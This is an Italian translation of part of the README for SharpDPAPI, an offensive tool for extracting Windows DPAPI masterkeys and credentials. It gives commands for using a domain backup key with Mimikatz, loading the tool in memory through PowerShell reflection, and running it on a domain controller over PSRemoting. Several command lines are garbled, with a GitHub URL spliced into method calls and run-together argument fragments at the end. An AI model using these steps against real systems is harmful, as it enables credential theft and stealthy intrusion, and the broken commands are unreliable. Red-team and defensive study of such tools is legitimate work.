Questo blob di chiave base64 può essere decodificato in un file binario .pvk che può quindi essere utilizzato con il modulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk di Mimikatz, o utilizzato in forma blob/file /pvk:X con i comandi masterkeys, credentials o vault di SharpDPAPI.
Per impostazione predefinita, SharpDPAPI proverà a determinare il controller di dominio corrente tramite la chiamata API DsGetDcName. È possibile specificare un server con /server:COMPUTER.dominio.com. Se si desidera salvare la chiave su disco invece di restituirla come blob base64, usa /file:key.pvk.
Non abbiamo intenzione di rilasciare binari per SharpDPAPI, quindi dovrai compilarlo da solo :)
SharpDPAPI è stato compilato per .NET 3.5 ed è compatibile con Visual Studio 2019 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare.
La configurazione di build predefinita di SharpDPAPI è per .NET 3.5, che fallirà sui sistemi senza quella versione installata. Per destinare SharpDPAPI a .NET 4 o 4.5, apri la soluzione .sln, vai su Progetto -> Proprietà di SharpDPAPI e cambia il "Framework di destinazione" in un'altra versione.
Se desideri eseguire SharpDPAPI in memoria tramite un wrapper PowerShell, prima compila SharpDPAPI e codifica in base64 l'assembly risultante:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
SharpDPAPI può quindi essere caricato in uno script PowerShell con il seguente (dove "aa..." viene sostituito con la stringa dell'assembly SharpDPAPI codificata in base64):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Il metodo Main() e qualsiasi argomento possono quindi essere invocati come segue:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)
A causa del modo in cui PSRemoting gestisce l'output, dobbiamo reindirizzare stdout in una stringa e restituire quella invece. Fortunatamente, SharpDPAPI ha una funzione per aiutare con questo.
Se segui le istruzioni in Sidenote: Esecuzione di SharpDPAPI tramite PowerShell per creare un SharpDPAPI.ps1, aggiungi qualcosa come il seguente allo script:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)
Dovresti quindi essere in grado di eseguire SharpDPAPI tramite PSRemoting con qualcosa come il seguente:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
In alternativa, l'argomento /consoleoutfile:C:\FILE.txt di SharpDPAPI reindirizzerà tutti i flussi di output al file specificato.
/mkfile:FILE/pvk:BASE64.../pvk:key.pvk/password:Xsekurlsa::dpapi